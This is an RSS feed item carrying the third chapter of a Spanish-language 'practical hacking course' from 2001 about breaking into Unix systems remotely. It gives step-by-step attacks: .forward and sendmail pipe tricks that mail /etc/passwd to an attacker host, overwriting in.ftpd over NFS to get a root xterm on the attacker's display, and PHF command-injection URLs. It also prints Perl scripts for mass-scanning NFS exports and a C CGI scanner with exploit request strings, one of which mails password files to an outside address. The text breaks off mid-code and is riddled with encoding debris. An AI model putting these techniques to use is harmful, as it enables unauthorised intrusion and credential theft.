<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>A.H.E. - HackIndex (es.comp.hackers) &#187; linux</title>
	<atom:link href="http://www.hackindex.com/index.php/tag/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hackindex.com</link>
	<description>Articulos y Noticias sobre Seguridad Informatica y Redes</description>
	<lastBuildDate>Sat, 29 May 2010 21:10:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1-alpha</generator>
		<item>
		<title>Curso prÃ¡ctico de hacking (CPH) III</title>
		<link>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-iii/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-iii/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:14:50 +0000</pubDate>
		<dc:creator>Lecter</dc:creator>
				<category><![CDATA[Acceso a las cosas remotas]]></category>
		<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[ataques dos]]></category>
		<category><![CDATA[cph]]></category>
		<category><![CDATA[curso de hacking]]></category>
		<category><![CDATA[defectos de configuracion]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[fallos de seguridad]]></category>
		<category><![CDATA[hackeando]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hijacking]]></category>
		<category><![CDATA[ingenieria social]]></category>
		<category><![CDATA[ip spoofing]]></category>
		<category><![CDATA[lecter]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[mala configuracion]]></category>
		<category><![CDATA[tecnicas de acceso remoto]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[webs hostiles]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=236</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: Curso prÃ¡ctico de hacking III Autor: Lecter Tema: Acceso a las cosas remotas La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n. El siguiente documento es propiedad de HackIndex y de [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Curso prÃ¡ctico de hacking III<br />
Autor: Lecter<br />
Tema: Acceso a las cosas remotas</p>
<p>La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuÃ­do de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificaciÃ³n alguna.</p>
<p>Queda extrictamente prohibida su distribuciÃ³n con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>CURSO PRACTICO DE HACKING&#8212;3a entrega</p>
<p>Estimados estudiantes del  CPH, en esta entrega nos  centraremos ya en<br />
las  artima=F1as para la  visitacion del  objetivo que  antes habiamos<br />
escudrinyado  (a partir  de ahora  usare la  ny para  denotar  la enye<br />
espanyola ya  que puede verse mal  en ciertos casos).  Tengo ahora que<br />
hacer un poco de &#8220;disclaiming&#8221;  (lavarme las manos) acerca del uso que<br />
pudiera darse a lo que os  contare en este capitulo y el siguiente. La<br />
visita que vamos a hacer no es  con permiso del due=F1o y por lo tanto<br />
se incurriria en un &#8220;allanamiento  de morada informatica&#8221; si se emplea<br />
por &#8220;el lado  oscuro de la fuerza&#8221;=2E Esta claro  que hemos de dominar<br />
los  sistemas y  aprovechar  sus fallos  de  seguridad para  comprobar<br />
nuestros conocimientos,  pero podemos hacerlo  de manera sana:  o bien<br />
autohacking  o bien  establecer un  acuerdo con  el  administrador del<br />
sistema  que &#8220;hackeemos&#8221;  para  comprobar su  seguridad. De  cualquier<br />
manera el conocimiento es una flor con  la que la abeja hace la miel y<br />
la ara=F1a su veneno.</p>
<p>Vamos  a  repasar  algunas  de  las tecnicas  mas  adecuadas  para  el<br />
principiante y  luego vosotros mediante  el estudio y la  practica las<br />
sobrepasareis e  incluso ideareis algunas nuevas. Tened  en cuenta que<br />
eso es  lo que diferencia a  un lamer de unhacker:  el lamer desbarata<br />
sistemas  con las  herramientas  que el  hacker  inventa. Alguna  vez,<br />
podreis  penetrar un  sistema utilizando  un exploit,  por  ejemplo, y<br />
conseguir una shell de root&#8230;y quizas os sentireis contentos de haber<br />
alcanzado  tal  privilegio,&#8230;  pero  =BFHabeis  escrito  vosotros  el<br />
exploit?&#8230;Luego   quizas  instalareis   un  sniffer   y   una  puerta<br />
trasera&#8230;=BFpero  habeis hecho vosotros  esas herramientas?  Lo ideal<br />
seria  que programarais  algunas de  las herramientas  que utilizarais<br />
luego  en  vuestras incursiones,  y  si no  es  asi,  leed e  intentad<br />
comprender el codigo que utilizais.</p>
<p>Pero bueno, vamos al grano.</p>
<p>Un  saludo  para  los que  estan  siguiendo  el  CPH aunque  en  pleno<br />
verano. Saludos  a los  que vuelven, como  mi amigo  NBK que ya  lo he<br />
visto por  las news, y  a tantos otros.  Para los que se  han marchado<br />
como Crino,  Avalanche, etc&#8230;si  no encuentran algun  capitulo porque<br />
haya  expirado, etc,  al  final  voy a  intentar  ensamblar todos  los<br />
capitulos   en  un   solo  documento   comprimido  y   lo   dejare  en<br />
es.binarios.misc, para no consumir ancho de banda.</p>
<p>Saludos,</p>
<p>LECTER</p>
<p>CPH. CAPITULO 3.INTRODUCCION EN EL SISTEMA</p>
<p>En este capitulo consideraremos tecnicas de acceso remoto (a traves de<br />
la red)  y en el siguiente  estudiaremos el acceso  local, que tambien<br />
recibe el nombre  de &#8220;ataque con escalada de  privilegios&#8221;. Existe una<br />
progresion cuando  el atacante se  introduce de manera remota  y luego<br />
consigue el acceso a la shell local. Habra que alcanzar privilegios de<br />
root y mantenerlos, asi como  actuar sobre el sistema para adecuarlo a<br />
futuras visitas o a otros propositos.</p>
<p>Existen varios metodos fundamentales para introducirnos remotamente en<br />
un sistema unix:</p>
<p>(1) Fallos  de  seguridad  de  aplicaciones basadas  en  el  protocolo<br />
TCP/IP.</p>
<p>(2) Defectos de  configuracion en los servicios  de red NFS,  NIS y en<br />
formularios web.</p>
<p>(3) Mala configuracion en los  archivos hosts.equiv y .rhosts y empleo<br />
de los llamados &#8220;comandos *r de unix&#8221;.</p>
<p>(4) Exploits para ciertos procesos que  se basan en bugs de los mismos<br />
o  en ataques para  desbordar la  pila del  proceso y  ejecutar codigo<br />
arbitrario  que permiten  conseguir  una shell,  una  rootshell si  el<br />
proceso corresponde a un programa que tiene el bit setuid activado.</p>
<p>(5) Tecnicas oscuras: Ataques  DoS, IP Spoofing, hijacking, ingenieria<br />
social, web  hostiles&#8230;Estas tecnicas no  deberian usarse mas  que en<br />
situaciones  muy  criticas.  He  pensado dedicar  un  capitulo  final,<br />
despues del  de borrar las huellas para  incluir estos procedimientos,<br />
quiza con el titulo de &#8220;la mitad oscura&#8221;.</p>
<p>Podemos emplearlas  de dos modos  diferentes para introducirnos  en el<br />
sistema: hacerlo directamente consiguiendo una cuenta en el objetivo o<br />
indirectamente haciendonos con el fichero /etc/passwd para crackearlo.</p>
<p>3.1. Fallos de seguridad en aplicaciones TCP/IP</p>
<p>3.1.1 TFTP (Trivial File Transfer Protocol)</p>
<p>Se trata  de una  transferencia de archivos  por udp. Se  utiliza para<br />
arrancar estaciones de trabajo o routers y esta basado como ya dije en<br />
udp escuchando  por el  puerto 69  ;-P. Si el  servidor TFTP  esta mal<br />
configurado, podemos conseguir el  fichero /etc/passwd. En las ultimas<br />
versiones quedan  configurados de manera  predeterminada para prohibir<br />
el  acceso a  cualquier  directorio excepto  /tftpboot.  Pero en  este<br />
directorio  existe informacion  comprometedora sobre  los  archivos de<br />
configuracion      de     los      routers      (generalmente     como<br />
&lt;nombrehostdelrouter&gt;.cfg)  y  los   intrusos  pueden  acceder  a  las<br />
contrase=F1as  de los  routers y  a las  cadenas SNMP  (Simple Network<br />
Management Protocol), con lo cual comprometeremos redes completas.</p>
<p>3.1.2 FTP</p>
<p>Muchos  servidores  mal configurados  permiten  tener acceso  anonimo,<br />
permitiendo  iniciar  una  sesion  sin necesidad  de  autenticacion  y<br />
pudiendo   acceder   a  toda   la   estructura   de  directorios   del<br />
sistema&#8230;Pero esto  son habas  contadas y muy  peregrino debe  ser el<br />
root para meter la pata de  ese modo.  Algunas veces me han hablado de<br />
servidores  FTP  que disponian  de  directorios  donde podia  escribir<br />
cualquiera,  con lo  cual  los atacantes  podrian  colocar un  fichero<br />
.rhosts (como  ya veremos) en el  directorio /home de  algun usuario y<br />
luego hacer un rlogin  sin autenticacion. Habia una estratagema basada<br />
en esto que permitia conseguir  el fichero /etc/passwd de modo curioso<br />
y sin magno artificio: Un  archivo .forward en el directorio /home/ de<br />
un usuario  dirige el correo a  una cuenta diferente  o ejecuta alguna<br />
instruccion  cuando  llega correo.  De  este  modo,  si escribimos  un<br />
fichero (en nuestra maquina atacante darkstar.us.es) lecter_forward de<br />
este modo:</p>
<p>$&gt;echo &#8220;/bin/mail <a href="mailto:lecter@darkstar.us.es">lecter@darkstar.us.es</a> &lt; /etc/passwd&#8221; &gt; lecter_forward</p>
<p>Luego nos conectamos por ftp al objetivo</p>
<p>$&gt;ftp objetivo.net</p>
<p>Si fuera posible escribir en /home/ftp/ podriamos hacer</p>
<p>ftp&gt;put lecter_forward .forward<br />
ftp&gt;quit</p>
<p>y luego mandamos un correo al &#8220;usuario ftp&#8221;</p>
<p>$&gt;echo hello chump | mail <a href="mailto:ftp@objetivo.net">ftp@objetivo.net</a></p>
<p>Cuando llegue  el correo se  ejecutara la instruccion contenida  en el<br />
fichero  .forward  y recibiremos  por  correo  el fichero  /etc/passwd<br />
 <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )&#8230;Pero   a  mi   nunca  me   ha  funcionado.    Aparte   de  estas<br />
vulnerabilidades existen otras debidas a condiciones de desbordamiento<br />
del buffer  en versiones anteriores de  wu-ftp 2.4.2, pero  esto ya lo<br />
veremos en el epigrafe de los exploits.</p>
<p>3.1.3 SMTP</p>
<p>Aunque hay  otros mas seguros como  smail y qmail, sendmail  es el MTA<br />
(Mail Transfer  Agent) mas usado en  el mundo unix. Si  sendmail no se<br />
configura  adecuadamente,  puede  presentar  problemas  de  seguridad,<br />
ademas  de  los inherentes  a  fallos  y  vulnerabilidades del  propio<br />
programa. Una frase corriente hasta  hace poco tiempo (la seguridad de<br />
sendmail ha mejorado  bastante en los ultimos anyos)  era &#8220;Wellcome to<br />
the sendmail bug of the week!&#8221;.</p>
<p>Un ataque  con solera  (para la  version sendmail 4.1)  se baso  en la<br />
vulnerabilidad de la &#8220;sendmail  pipe&#8221;, que permitia al intrusoejecutar<br />
instrucciones mediante  sendmail con privilegios de  bin. En versiones<br />
anteriores a  sendmail 5.57 podiamos enviarnos  el fichero /etc/passwd<br />
simplemente haciendo:</p>
<p>$&gt;telnet objetivo.net 25<br />
=2E..<br />
helo<br />
=2E..<br />
mail from: &#8220;|/bin/mail <a href="mailto:lecter@darkstar.us.es">lecter@darkstar.us.es</a> &lt; /etc/passwd&#8221;<br />
rcpt to: johnsilver<br />
data<br />
=2E<br />
quit</p>
<p>Pero para  aprovechar los fallos de  sendmail es mejor  recurrir a los<br />
exploits como se vera en el correspondiente epigrafe.</p>
<p>3.2 Defectos de configuracion de servicios de red</p>
<p>3.2.1 NFS</p>
<p>Ya sabemos que  si el servicio nfs esta  mal configurado podemos hacer<br />
algunas  cosillas <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ).  Si hacemos  un rpcinfo  -p objetivo.net  y nos<br />
encontramos  con   algunas  lineas  en  cuyos   puertos  escuchan  los<br />
servidores mountd y nfs, podemos mediante un showmount -e objetivo.net<br />
los directorios exportados.</p>
<p>En  caso de  que no  tuvieramos  un objetivo  concreto podemos  buscar<br />
maquinas con ficheros exportables mediante el script perl getdomain.pl<br />
de Invisible Evil, que muestro a continuacion:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;/begin getdomain.pl&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
#!/usr/bin/perl</p>
<p># GetDomain By Nfin8 / Invisible Evil<br />
# Questions /msg i-e  or  /msg i^e<br />
#<br />
# Retrieve command line arguments.<br />
my($inputfile, $domain) =3D @ARGV;<br />
usage() if (!defined($inputfile) || !defined($domain));</p>
<p># Open and preprocess the input file.<br />
open(INFILE, &#8220;&lt;$inputfile&#8221;) or die(&#8220;Cannot open file $inputfile for reading!\n&#8221;);<br />
my(@lines) =3D &lt;INFILE&gt;;</p>
<p># Initialize main data structure.<br />
my(%hash) =3D {};<br />
my($key) =3D &#8220;&#8221;;</p>
<p>foreach (@lines) {<br />
$key =3D (split(/\ /))[0];<br />
chop($key);<br />
next if ((($key =3D~ tr/.//) &lt; 1) ||<br />
(uc($domain) ne uc(((split(/\./, $key))[-1]))) ||<br />
($key =3D~ m/root-server/i));<br />
$hash{$key}++;<br />
}</p>
<p># Close input file and output data structure to STDOUT.<br />
close(INFILE);</p>
<p>foreach (sort(keys(%hash))) {<br />
print &#8220;$_\n&#8221;;<br />
}</p>
<p>sub usage {<br />
print(&#8220;\n\ngetdomain:\n&#8221;);<br />
print(&#8220;Usage: getdomain [inputfile] [search]\n\n&#8221;);<br />
print(&#8220;Where [search] is one of \&#8217;com\&#8217;, \&#8217;edu\&#8217;, \&#8217;gov\&#8217;, \&#8217;mil\&#8217; or \&#8217;net\&#8217;.\n\n&#8221;);<br />
exit(0);<br />
}<br />
ï¿½<br />
0;<br />
ï¿½<br />
&#8212;&#8212;&#8212;-/end of getdomain.pl&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Para utilizarlo habeis de disponer de listas de maquinas que se pueden<br />
obtener facilmente por ftp de rs.internic.net con las extensiones:</p>
<p>com.zone.gz<br />
edu.zone.gz<br />
gov.zone.gz<br />
mil.zone.gz<br />
net.zone.gz<br />
org.zone.gz</p>
<p>Despues de descomprimirlas con gunzip ejecutamos el script asi:</p>
<p>$&gt;perl getdomain.pl com.zone com &gt; com.all</p>
<p>y lo mismo con las otras zonas&#8230;</p>
<p>Luego  hay  que  usar  otro  script llamado  cmount.pl  para  ver  los<br />
directorios exportados. Aqui lo teneis</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;-/begin cmount.pl&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
#/usr/bin/perl -w<br />
#<br />
# Check NFS exports of hosts listed in file.<br />
# (Hosts are listed, once per line with no additional whitespaces.)<br />
#<br />
# <a href="mailto:ii@dormroom.pyro.net">ii@dormroom.pyro.net</a> &#8211; 2/27/97.</p>
<p># Assign null list to @URLs which will be added to later.<br />
my(@result) =3D ();<br />
my(@domains) =3D ();<br />
my($program) =3D &#8220;showmount -e &#8220;;</p>
<p># Pull off filename from commandline. If it isn&#8217;t defined, then assign default.<br />
my($DomainFilename) =3D shift;<br />
$DomainFilename =3D &#8220;domains&#8221; if !defined($DomainFilename);</p>
<p># Do checking on input.<br />
die(&#8220;mountDomains: $DomainFilename is a directory.\n&#8221;) if (-d<br />
$DomainFilename);<br />
ï¿½<br />
# Open $DomainFilename.<br />
open(DOMAINFILE, $DomainFilename) or<br />
die(&#8220;mountDomains: Cannot open $DomainFilename for input.\n&#8221;);<br />
ï¿½<br />
while (&lt;DOMAINFILE&gt;) {<br />
chomp($_);<br />
print &#8220;Now checking: $_&#8221;;</p>
<p># Note difference in program output capture from &#8220;geturl.pl&#8221;.ï¿½<br />
open (EXECFILE, &#8220;$program $_ |&#8221;);<br />
@execResult =3D &lt;EXECFILE&gt;;<br />
next if (!defined($execResult[0]));<br />
if ($execResult[0] =3D~ /^Export/) {<br />
print &#8221; &#8211; Export list saved.&#8221;;<br />
open (OUTFILE, &#8220;&gt;$_.export&#8221;);<br />
foreach (@execResult) {<br />
print OUTFILE;<br />
}<br />
close (OUTFILE);<br />
}<br />
close(EXECFILE);<br />
print &#8220;\n&#8221;;<br />
}<br />
ï¿½<br />
# We are done. Close all files and end the program.<br />
close (DOMAINFILE);</p>
<p>0;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; end of cmount.pl<br />
Bueno, imaginemos que en el caso de nuestro objetivo, nos sale.</p>
<p>#&gt;showmount -e objetivo.net<br />
/    (everyone)<br />
/usr (everyone)</p>
<p>=A1Magn=EDfico! (Pero  no caera  esa breva) porque  podriamos comenzar<br />
mountando</p>
<p>#&gt;mount -nt nfs objetivo.net:/ /mnt</p>
<p>Pero  existe una  excelente herramienta  llamada nfsshell  escrita por<br />
Leendert van Door que podreis encontrar en</p>
<p><a href="ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz">ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz</a></p>
<p>que nos proporciona  un cliente robusto llamado nfs  que funciona como<br />
cliente  ftp  y  permite  manipular facilmente  cuakquier  sistema  de<br />
archivos remotos. Una vez instalado, haced en un xterm</p>
<p>#&gt;nfs</p>
<p>y  aparecera  el  prompt  nfs&gt;.   Si  haceis  help  vereis  todas  las<br />
posibilidades=2E Bueno, al grano:</p>
<p>nfs&gt;host objetivo.net (indica el host que queremos montar)</p>
<p>Luego miramos los archivos exportados</p>
<p>nfs&gt;export<br />
/     everyone<br />
/usr  everyone</p>
<p>Ahora tenemos que montar / para acceder al sistema de archivos con</p>
<p>nfs&gt; mount /</p>
<p>Podemos ver el status de la conexion y el UID usado cuando se monto el<br />
archivo con</p>
<p>nfs&gt;status<br />
=2E..</p>
<p>Como  ya tenemos  el  sistema  de archivos  montado  posemos mirar  el<br />
contenido de /etc/passwd:</p>
<p>nfs&gt;cd /etc</p>
<p>nfs&gt; cat passwd<br />
=2E..</p>
<p>El listado de /etc/passwd nos da los nombres de los usuarios y sus ID,<br />
pero  generalmente estaran &#8220;sombreados&#8221;  (shadowed passwords)  con una<br />
&#8220;x&#8221;  (generalmente)   en  el  segundo  campo  de   cada  registro.  No<br />
importa. Busquemos un  usuario daemon o bin. Si  podemos acceder a los<br />
binarios, =A1asunto zanjado! Suponfamos que existe el registro:</p>
<p>bin:x:2:2::/usr/bin</p>
<p>Vamos a montar /usr y cambiar nuestro UID y GID al de bin:</p>
<p>nfs&gt;mount /usr</p>
<p>nfs&gt;uid 2</p>
<p>nfs&gt;gid 2</p>
<p>(y lo comprobamos con nfs&gt;status)</p>
<p>A  partir de  ahora,  tenemos los  privilegios  de bin  en el  sistema<br />
remoto. Ahora podemos  crear un canal trasero con  el siguiente script<br />
en  nuestro sistema (darkstar.us.es)  y llamarlo  in.ftpd en  el mismo<br />
lugar donde  activamos el cliente nfs  (abrimos un xterm  y hacemos vi<br />
in.ftpd  en el  mismo directorio  donde  lanzamos el  cliente nfs.  El<br />
contenido del script sera:</p>
<p>#!/bin/sh<br />
/usr/&#8212;ruta hasta&#8211;/bin/xterm -display darkstar.us.es:0.0 &amp;</p>
<p>luego lo salvamos y le damos permisos de ejecucion.</p>
<p>Despues volvemos al otro xterm y hacemos</p>
<p>nfs&gt;cd /sbin</p>
<p>nfs&gt;put in.ftp</p>
<p>De   esta  manera   copiamos   in.ftpd  a   /sbin,  reescribiendo   el<br />
original.  Entonces  desde la  otra  xterm  permitimos a  objetivo.net<br />
conectarse a nuestro servidor X:</p>
<p>#&gt;xhost +objetivo.net<br />
=2E..</p>
<p>#&gt;ftp objetivo.net</p>
<p>Lo  que  sucedera  es  que  aparecera  en  nuestro  sistema  un  xterm<br />
perteneciente  al  administrador de  objetivo.net,  pues  al llamar  a<br />
in.ftpd desde inetd, este  ejecutara nuestro script con privilegios de<br />
root.<br />
3.2.2 NIS</p>
<p>Ya hemos hablado del NIS,  anta=F1o conocido como Yellow Pages (de ahi<br />
el  yp&#8230;).  Cuando  hacemos  rpcinfo  -p objetivo.net  y  aparece  un<br />
servidor ypserv ya estamos seguros  de que el NIS esta funcionando. Si<br />
mediante algun artificio tuvieramos una  cuenta en una maquina con NIS<br />
tendriamos  la posibilidad  de  acceder al  archivo /etc/passwd.  Para<br />
saber si en una maquina  donde tenemos cuenta funciona NIS, hacemos ps<br />
ax y si  aparece el conocido ypserv =A1ya esta!  En tal caso podriamos<br />
usar el comando ypcat:</p>
<p>$&gt;ypcat /etc/passwd&gt; ~/passwd</p>
<p>para copiarnos  el /etc/passwd  en nuestro home.  En caso de  no tener<br />
privilegios  para  ejecutar ypcat  o  si no  esta,  se  puede usar  el<br />
programa pwget (este  lo veremos en el capitulo  4 destinado al acceso<br />
local). Ademas existe  un programa llamado ypx para  extraer los mapas<br />
de un servidor NIS y lo podeis encontrar en:</p>
<p><a href="http://morehouse.org/hin/root/ypx.tgz">http://morehouse.org/hin/root/ypx.tgz</a></p>
<p>Su uso es muy sencillo:</p>
<p>ypx -m passwd nombre_dominio_NIS<br />
3.2.3 Inseguridades en scripts CGI</p>
<p>La  interfaz CGI  (Common Gateway  Interface) permite  la comunicacion<br />
entre programas cliente y un servidor que emplea el protocolo http. El<br />
protocolo de comunicaciones  usado por el script CGI  y el servidor es<br />
el TCP/IP usando por defecto  el puerto 80. Las vulnerabilidades no se<br />
deben a fallos  de CGI, sino a errores en  las especificaciones HTTP y<br />
programas del  sistema. La  parte fundamental de  un script CGI  es un<br />
documento  HTML llamado  FORM (Formulario).  Los scripts  CGI deberian<br />
realizar  el  filtrado  de   los  contenidos  del  campo  &lt;INPUT&gt;  del<br />
formulario  (entradas  de  usuarios),  pero  en muchos  casos,  no  lo<br />
hacen&#8230;con lo cual es posible ganar  un acceso ;-D.  PHF es un script<br />
CGI  estandar en  las primeras  versiones del  servidor Apache  y NCSA<br />
HTTPD. Aunque  parezca raro, todavia  hay sistemas que  presentan esta<br />
vulnerabilidad, por eso la cuento.  El programa de marras no procesaba<br />
ni  validaba adecuadamente  la entrada.  PHF aceptaba  el  caracter de<br />
newline (%0a) y  ejecutaba cualquier mandato posterior con  la UID del<br />
usuario que estuviera ejecutando el servidor (generalmente nobody). El<br />
codigo utilizado  era el siguiente,  que puede lanzarse  desde nuestro<br />
navegador (lynx para los castizos; Netscape para los modelnos):</p>
<p><a href="http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd">http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd</a></p>
<p>De este modo (%20) es un espacio) podria tenerse acceso a /etc/passwd;<br />
pero si estan sombreados habra que pensar en otra cosita:</p>
<p><a href="http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/usr/X11R6/bin/xterm%20-ut%20-display%20darkstar_IP:0.0">http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/usr/X11R6/bin/xterm%20-ut%20-display%20darkstar_IP:0.0</a></p>
<p>El  servidoe web remoto  ejecutara un  xterm y  lo montara  en nuestro<br />
servidor X (darkstar.us.es) con un ID de ventana 0 y un ID de pantalla<br />
0. Como esta  activada la  opcion -ut, el  sistema no  registrara esta<br />
actividad.  Hay numerosos scripts  para buscar sistema con scripts CGI<br />
y PHF como vereis a continuacion:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-/begin cgi scanner&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>/* This source is absolutely free to use and modify at you own risk, please<br />
do not change some chars and say that this program is yours or i&#8217;ll die the<br />
next day&#8230; <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> . Pay attention, this file is for research purpose only, do not<br />
use it into any hacking way. Is possible to be logged while running the<br />
program, so PAY ATTENTION!.<br />
Tested on Linux RedHat 5.0 and Win95 compiled with Cygnus Gnu win32.</p>
<p>Many Thanks goes to s0ftpr0ject and Orda of the Badlands groups!<br />
I want also give a big thanks to:</p>
<p>Goku: my linux guru<br />
SMaster: my prezident<br />
MaNdraKe: and his future girlfriends<br />
Pr3dator: for his help on linux (go slower on cars!:pPp)<br />
PhoenYx: the best italian hacker<br />
Berk: a cool friend and a wannabe hacker<br />
xOANON: the best cracker all around<br />
Golem: for his bot, what about setting it on #softpj? <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
Spaceone: a good friend<br />
TanK_GirL: a future hacker! (i hope)<br />
RootShell: for many source and ideas</p>
<p>I want also give a big fuck to:</p>
<p>Telecom Italia: u must die!<br />
WarLords: Good ircwarriors but stupid people<br />
Alexb: pay attention at your fuckin&#8217; shells<br />
Lamers: try to be more newbies!</p>
<p>by |scacco|</p>
<p>Add-on By Dark Schneider</p>
<p>*/</p>
<p>#include &lt;sys/stat.h&gt;<br />
#include &lt;sys/types.h&gt;<br />
#include &lt;termios.h&gt;                 ï¿½<br />
#include &lt;stdio.h&gt;<br />
#include &lt;string.h&gt;<br />
#include &lt;fcntl.h&gt;<br />
#include &lt;sys/syslog.h&gt;<br />
#include &lt;sys/param.h&gt;<br />
#include &lt;sys/times.h&gt;           ï¿½<br />
#include &lt;sys/time.h&gt;                         ï¿½<br />
#include &lt;sys/socket.h&gt;<br />
#include &lt;netinet/in.h&gt;<br />
#include &lt;sys/signal.h&gt;<br />
#include &lt;arpa/inet.h&gt;<br />
#include &lt;netdb.h&gt;<br />
#define MAXSTR 12</p>
<p>main (int argc, char *argv[])<br />
{<br />
struct sockaddr_in sin;<br />
/* int outsocket, serv_len, len,c,outfd; */<br />
/* struct hostent *nametocheck; */<br />
/* struct in_addr outgoing; */<br />
struct hostent *hp;<br />
char host[100], buffer[1024], hosta[1024],FileBuf[8097];<br />
int sock, i=3D0, X;<br />
char  *stringhe[MAXSTR];<br />
for(i=3D0;i&lt;MAXSTR;i++) {<br />
stringhe[i]=3D(char *) malloc(sizeof(char)*100);<br />
}<br />
ï¿½<br />
/* Classic PHF bug&#8230; It still Works! */<br />
ï¿½<br />
stringhe[0]=3D&#8221;GET /cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd\n&#8221;;<br />
ï¿½<br />
/* test-cgi bug, possible to view documents location */<br />
ï¿½<br />
stringhe[1]=3D&#8221;GET /cgi-bin/test-cgi?*\n&#8221;;<br />
ï¿½<br />
/* htmlscript bug, a good language that can us have passwd <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  */<br />
ï¿½<br />
stringhe[2]=3D&#8221;GET /cgi-bin/htmlscript?../../../../etc/passwd\n&#8221;;<br />
ï¿½<br />
/* view-source bug, some httd use this&#8230; */<br />
ï¿½<br />
stringhe[3]=3D&#8221;GET /cgi-bin/view-source?../../../../etc/passwd\n&#8221;;<br />
ï¿½<br />
/* Wrap allow you to have a directory listing on IRIX 6.2 systems */<br />
ï¿½<br />
stringhe[4]=3D&#8221;GET /cgi-bin/wrap?/../../../../../etc\n&#8221;;<br />
ï¿½<br />
/* Campas allow you to get the passwd on NCSA server 1.2 */<br />
ï¿½<br />
stringhe[5]=3D&#8221;GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a\n&#8221;;<br />
ï¿½<br />
/* With pfdisplay &amp; webdist is possible to get the passwd on IRIX 6.2 systems */<br />
ï¿½<br />
stringhe[6]=3D&#8221;GET /cgi-bin/pfdisplay.cgi?/../../../../etc/passwd\n&#8221;;<br />
ï¿½<br />
stringhe[7]=3D&#8221;GET /cgi-bin/webdist.cgi?distloc=3D;cat%20/etc/passwd\n&#8221;;</p>
<p>/* With aglimpse is possible to mail the password file anywhere <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  */<br />
ï¿½<br />
stringhe[8]=3D&#8221;GET /cgi-bin/aglimpse/80|IFS=3D5;CMD=3D5mail5dashie\@cyberdude.com\&lt;/etc/passwd;eval$CMD;echo\n&#8221;;<br />
ï¿½<br />
/* An interesting variant for phf*/</p>
<p>stringhe[9]=3D&#8221;GET /cgi-bin/phf?Qalias=3Dx%0a/usr/bin/ypcat%20passwd\n&#8221;;</p>
<p>stringhe[10]=3D&#8221;GET /cgi-bin/php.cgi?/etc/passwd\n&#8221;;</p>
<p>/* a new test-cgi but the bug is the same <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  */</p>
<p>stringhe[11]=3D&#8221;GET /cgi-bin/nph-test-cgi?*\n&#8221;;<br />
ï¿½<br />
while(fgets(hosta,100,stdin))<br />
{<br />
